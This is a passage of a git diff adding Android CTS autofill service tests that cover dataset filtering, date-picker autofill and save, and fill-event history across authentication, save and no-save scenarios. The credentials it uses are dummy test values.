+            case 1:
+                chosenOne = aa;
+                mActivity.expectAutoFill("aa");
+                break;
+            case 2:
+                chosenOne = ab;
+                mActivity.expectAutoFill("ab");
+                break;
+            case 3:
+                chosenOne = b;
+                mActivity.expectAutoFill("b");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText username = mActivity.getUsername();
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        callback.assertUiShownEvent(username);
+
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // select the choice
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Change the filled text and check that filtering still works.
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Reset back to all choices
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java
new file mode 100644
index 0000000..754f670
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.testcore.Helper.assertDateValue;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AbstractDatePickerActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractDatePickerActivity} tests.
+ */
+public abstract class DatePickerTestCase<A extends AbstractDatePickerActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+        cal.set(Calendar.DAY_OF_MONTH, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("The end of the world"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_DATE_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
+                .build());
+        mActivity.expectAutoFill("2012/11/20", 2012, Calendar.DECEMBER, 20);
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of DatePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_DATE_PICKER);
+        assertNumberOfChildren(fillRequest.structure, ID_DATE_PICKER, 0);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The end of the world");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Trigger save.
+        mActivity.setDate(2010, Calendar.DECEMBER, 12);
+        mActivity.tapOk();
+
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertDateValue(findNodeByResourceId(saveRequest.structure, ID_DATE_PICKER), 2010, 11, 12);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "2010/11/12");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
new file mode 100644
index 0000000..a75ce80
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -0,0 +1,783 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertDeprecatedClientState;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForAuthenticationSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetAuthenticationSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_DATASET_MATCH;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_FIELD_VALIDATION_FAILED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_HAS_EMPTY_REQUIRED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_NO_SAVE_INFO;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_NO_VALUE_CHANGED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.CheckoutActivity;
+import android.autofillservice.cts.inline.InlineFillEventHistoryTest;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.Validator;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.regex.Pattern;
+
+/**
+ * This is the common test cases with {@link FillEventHistoryTest} and
+ * {@link InlineFillEventHistoryTest}.
+ */
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public abstract class FillEventHistoryCommonTestCase extends AbstractLoginActivityTestCase {
+
+    protected FillEventHistoryCommonTestCase() {}
+
+    protected FillEventHistoryCommonTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    protected Bundle getBundle(String key, String value) {
+        final Bundle bundle = new Bundle();
+        bundle.putString(key, value);
+        return bundle;
+    }
+
+    @Test
+    public void testDatasetAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with dataset authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation("Dataset", isInlineMode())
+                        .build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setId("name")
+                        .setPresentation("authentication", isInlineMode())
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(clientState).build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Authenticate
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("authentication");
+        mActivity.assertAutoFilled();
+
+        // Verify fill selection
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with response wide authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "username")
+                                .setId("name")
+                                .setPresentation("dataset", isInlineMode())
+                                .build())
+                        .setExtras(clientState).build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+                .setPresentation("authentication", isInlineMode())
+                .setAuthentication(authentication, ID_USERNAME)
+                .build());
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Authenticate
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("authentication");
+        mUiBot.waitForIdle();
+        mUiBot.selectDataset("dataset");
+        mUiBot.waitForIdle();
+
+        // Verify fill selection
+        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
+        assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
+        List<Event> events = selection.getEvents();
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
+                "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetSelected(events.get(3), "name",
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testDatasetSelected_twoResponses() throws Exception {
+        enableService();
+
+        // Set up first partition with an anonymous dataset
+        Bundle clientState1 = new Bundle();
+        clientState1.putCharSequence("clientStateKey", "Value1");
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setExtras(clientState1)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value1");
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
+                    "clientStateKey", "Value1");
+        }
+
+        // Set up second partition with a named dataset
+        Bundle clientState2 = new Bundle();
+        clientState2.putCharSequence("clientStateKey", "Value2");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password2")
+                                .setPresentation("dataset2", isInlineMode())
+                                .setId("name2")
+                                .build())
+                .addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_PASSWORD, "password3")
+                                .setPresentation("dataset3", isInlineMode())
+                                .setId("name3")
+                                .build())
+                .setExtras(clientState2)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_PASSWORD).build());
+        mActivity.expectPasswordAutoFill("password3");
+
+        // Trigger autofill on password
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset3");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
+                    "clientStateKey", "Value2");
+        }
+
+        mActivity.onPassword((v) -> v.setText("new password"));
+        mActivity.syncRunOnUiThread(() -> mActivity.finish());
+        waitUntilDisconnected();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
+            assertDeprecatedClientState(selection, "clientStateKey", "Value2");
+
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
+                    "clientStateKey", "Value2");
+            assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
+            assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
+                    "clientStateKey", "Value2");
+        }
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsNullResponse() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void testNoEvents_whenServiceReturnsFailure() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(new CannedFillResponse.Builder().returnFailure("D'OH!").build());
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    @Test
+    public void testNoEvents_whenServiceTimesout() throws Exception {
+        enableService();
+
+        // First reset
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill selection
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+            assertNoDeprecatedClientState(selection);
+            final List<Event> events = selection.getEvents();
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+        }
+
+        // Second request
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        waitUntilDisconnected();
+
+        InstrumentedAutoFillService.assertNoFillEventHistory();
+    }
+
+    /**
+     * Tests the following scenario:
+     *
+     * <ol>
+     *    <li>Activity A is launched.
+     *    <li>Activity A triggers autofill.
+     *    <li>Activity B is launched.
+     *    <li>Activity B triggers autofill.
+     *    <li>User goes back to Activity A.
+     *    <li>Activity A triggers autofill.
+     *    <li>User triggers save on Activity A - at this point, service should have stats of
+     *        activity A.
+     * </ol>
+     */
+    @Test
+    public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
+        enableService();
+
+        // Launch activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill and IME on activity A.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity A
+        final FillEventHistory selectionA = InstrumentedAutoFillService.getFillEventHistory(0);
+        assertDeprecatedClientState(selectionA, "activity", "A");
+
+        // Launch activity B
+        mActivity.startActivity(new Intent(mActivity, CheckoutActivity.class));
+        mUiBot.assertShownByRelativeId(ID_CC_NUMBER);
+
+        // Trigger autofill on activity B
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "B"))
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_CC_NUMBER, "4815162342")
+                        .setPresentation("datasetB", isInlineMode())
+                        .build())
+                .build());
+        mUiBot.focusByRelativeId(ID_CC_NUMBER);
+        sReplier.getNextFillRequest();
+
+        // Verify fill selection for Activity B
+        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
+        assertDeprecatedClientState(selectionB, "activity", "B");
+        assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
+
+        // Set response for back to activity A
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setExtras(getBundle("activity", "A"))
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Now switch back to A...
+        mUiBot.pressBack(); // dismiss autofill
+        mUiBot.pressBack(); // dismiss keyboard (or task, if there was no keyboard)
+        final AtomicBoolean focusOnA = new AtomicBoolean();
+        mActivity.syncRunOnUiThread(() -> focusOnA.set(mActivity.hasWindowFocus()));
+        if (!focusOnA.get()) {
+            mUiBot.pressBack(); // dismiss task, if the last pressBack dismissed only the keyboard
+        }
+        mUiBot.assertShownByRelativeId(ID_USERNAME);
+        assertWithMessage("root window has no focus")
+                .that(mActivity.getWindow().getDecorView().hasWindowFocus()).isTrue();
+
+        sReplier.getNextFillRequest();
+
+        // ...and trigger save
+        // Set credentials...
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        final String expectedMessage = getWelcomeMessage("malkovich");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        sReplier.getNextSaveRequest();
+
+        // Finally, make sure history is right
+        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
+        assertDeprecatedClientState(finalSelection, "activity", "A");
+        assertFillEventForSaveShown(finalSelection.getEvents().get(0), NULL_DATASET_ID, "activity",
+                "A");
+    }
+
+    @Test
+    public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
+        enableService();
+        // Trigger 1st autofill request
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation("dataset1", isInlineMode())
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+        // Trigger autofill and IME on username.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+        }
+
+        // Trigger 2nd autofill request (which will clear the fill event history)
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation("dataset2", isInlineMode())
+                        .build())
+                // don't set flags
+                .build());
+        mActivity.expectPasswordAutoFill("whatever");
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because the
+     * SaveInfo associated with the FillResponse is null.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileNoSaveInfo() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_NO_SAVE_INFO.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_NO_SAVE_INFO);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_NO_SAVE_INFO);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because the
+     * service asked to delay save.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileDelaySave() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because there
+     * was empty value for required ids.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileEmptyValueForRequiredIds() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_HAS_EMPTY_REQUIRED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_HAS_EMPTY_REQUIRED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_HAS_EMPTY_REQUIRED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because no
+     * value has been changed.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileNoValueChanged() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_REASON_HAS_EMPTY_REQUIRED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_REASON_NO_VALUE_CHANGED);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(3);
+        final Event event = verifyEvents.get(2);
+
+        assertThat(event.getNoSaveReason()).isEqualTo(NO_SAVE_REASON_NO_VALUE_CHANGED);
+    }
+
+    /**
+     * Tests scenario where the context was committed, the save dialog was not shown because fields
+     * failed validation.
+     */
+    @Test
+    public void testContextCommitted_noSaveUi_whileFieldsFailedValidation() throws Exception {
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, saveInfoBuilder) -> {
+                    final Validator validator =
+                            new RegexValidator(new AutofillId(1), Pattern.compile(".*"));
+                    saveInfoBuilder.setValidator(validator);
+                });
